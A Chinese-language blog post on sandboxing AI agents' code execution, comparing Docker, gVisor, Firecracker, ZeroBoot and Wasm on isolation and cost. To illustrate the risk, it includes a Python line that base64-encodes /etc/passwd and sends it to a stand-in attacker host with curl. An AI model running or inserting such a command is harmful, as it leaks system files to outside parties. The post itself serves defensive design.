让 AI 执行代码之前,先把沙箱这件事想清楚
Agent 一旦能执行代码,它能做的事就和一个坐在终端前的程序员完全一样。拆解 Docker、gVisor、Firecracker、Wasm 几种沙箱方案的取舍。
前几天 Hacker News 首页出现一个项目叫 ZeroBoot,宣称能在 0.79ms(p50)内启动一个完整的 Linux 虚拟机。评论区先是不信,然后开始吵。
这个数字确实反直觉——Firecracker 这种专为 serverless 设计的 microVM,冷启动也要 150ms 以上。0.79ms 意味着一秒能冷启动一千个相互隔离的 VM,靠的是 Copy-on-Write KVM fork。
它火起来不是没有原因的。它戳中了 AI Agent 这个领域眼下最实际的一个矛盾:Agent 要执行代码,执行代码就需要隔离,而隔离是有代价的。
为什么这不是个小问题
Agent 调用工具——搜索、查库、发邮件——这些行为是可枚举的,你能审计每一个调用。
代码执行完全是另一回事。它是图灵完备的。一旦 Agent 能执行任意代码,它能做的事就和一个坐在终端前的程序员完全一样。
一个看起来无害的任务:“帮我分析这份 CSV”。Agent 生成的代码里可以是这样的:
import os
os.system("curl https://attacker.com/$(cat /etc/passwd | base64)")
具体的风险大概分三类:
- 提示注入逃逸:恶意内容诱使 Agent 执行攻击者的代码,读密钥或者外联
- 资源滥用:无限循环、fork bomb、写满磁盘,拖垮整台宿主机
- 横向渗透:读环境变量里的密钥,或者访问同机上其他用户的数据
Manus、Perplexity 这类产品选择 microVM 而不是普通容器,就是因为威胁模型不一样,对隔离代价的接受度也不一样。
一个从轻到重的梯度
沙箱不是一个”有没有”的问题,是一个连续的梯度,隔离强度和资源开销一起涨:
| 方案 | 隔离机制 | 启动延迟 | 内存/沙箱 | 谁在用 |
|---|---|---|---|---|
| Docker | namespace + cgroup | ~500ms | 几十 MB | 本地工具 |
| gVisor | 用户态 Linux 内核 | ~100ms | 较高 | Google Cloud Run |
| Firecracker / E2B | 独立内核 microVM | ~150ms | 默认 1GB | Manus、Perplexity |
| ZeroBoot | CoW KVM fork | 0.79ms | 265KB | 高并发场景 |
| Wasm | 线性内存模型 | 毫秒级 | 极低 | JS/Node Agent |
不是越新越好,是越匹配越好。下面说几个我认为关键的取舍点。
容器:够用,但要清楚它的边界
大多数个人项目和内部工具用 Docker 就够了。它简单、生态成熟、启动几百毫秒也能接受。
但有一个设计细节值得注意——不在于你用了 Docker,而在于你怎么配。以一个本地跑的代码修复 Agent 为例,它的沙箱逻辑里有几个决策很典型:
- 无状态:
--rm执行完立刻销毁容器,不留任何状态 - 网络隔离:默认
--network none,需要访问本地模型时再单独开 - 工作目录挂载:只把当前目录挂进
/workspace,宿主机其他路径不可见 - 环境变量白名单:只透传带特定前缀的变量,防止把宿主机的密钥带进去
最后这条最容易被忽略。默认情况下容器会继承一大堆环境变量,里面经常躺着 API key。白名单是几行代码的事,但出了事就是大事。
容器方案的根本局限在于:它隔离的是视图,不是内核。所有容器共享宿主机的同一个 Linux 内核。namespace 隔开的是文件系统、网络、PID 的视图,内核本身是共享的。历史上出过多次从容器逃逸到宿主机的内核漏洞,CVE-2019-5736(runc 逃逸)是其中最著名的一个。
所以判断标准其实很清晰:低威胁、不对外、单人使用,容器够用;多租户、公网暴露,共享内核就是根本性风险。
microVM:给每个沙箱一个真内核
Firecracker 是 AWS 为 Lambda 和 Fargate 设计的 microVM,设计哲学就一条:最小攻击面。每个沙箱有自己的内核,容器逃逸这类问题从根上不存在。
代价是每个沙箱默认吃 1GB 内存,冷启动 150ms 左右。E2B 在这之上做了托管,让你不用自己运维 Firecracker 集群。
什么时候值得上?我的判断是:当你的 Agent 是面向外部用户的服务,并且执行的是用户可控的代码时。内部工具自己用,犯不上。
那 ZeroBoot 的 0.79ms 意味着什么
它用的是 CoW KVM fork:先跑一个初始化好的”母版”VM,每次要新沙箱时从母版 fork 出来,写时复制。启动快、内存省(265KB/sandbox),本质是把”初始化”这个成本提前付掉了。
听起来很完美,但它改变的是适用场景而不是”全面超越”。fork 出来的沙箱初始状态都是母版的状态,如果你的 Agent 每个任务需要不同的预装环境,这个优势就没了。它适合的是那种”高并发、同构环境、短生命周期”的场景——比如批量执行用户提交的代码片段。
Wasm 是另一条路
Wasm 的线性内存模型天生适合沙箱:没有任意指针、没有系统调用直接访问、启动毫秒级、内存占用极低。对 JS/Node 生态的 Agent 来说,把用户代码跑在 Wasm 里是成本最低的隔离方案。
代价是生态限制——不是什么库都能在 Wasm 里跑,涉及文件系统、网络、原生扩展的就悬了。
我会怎么选
把决策压成三个问题:
- 代码是谁写的? Agent 自己生成的(用户只给任务)→ 威胁低,容器 + 白名单够用;用户自己提交代码 → 威胁高,上 microVM
- 服务暴露给谁? 自己和团队 → 容器;公网多租户 → microVM 或 Wasm
- 沙箱生命周期多长? 秒级短任务、同构环境 → ZeroBoot 这类 fork 方案;需要不同环境的 → 老老实实起容器/VM
最后一点经验:不管选哪个,把环境变量白名单和 --rm 这类习惯养成本能。真出事的时候,救你的往往不是隔离方案多先进,而是你有没有把密钥透传进去。
关注我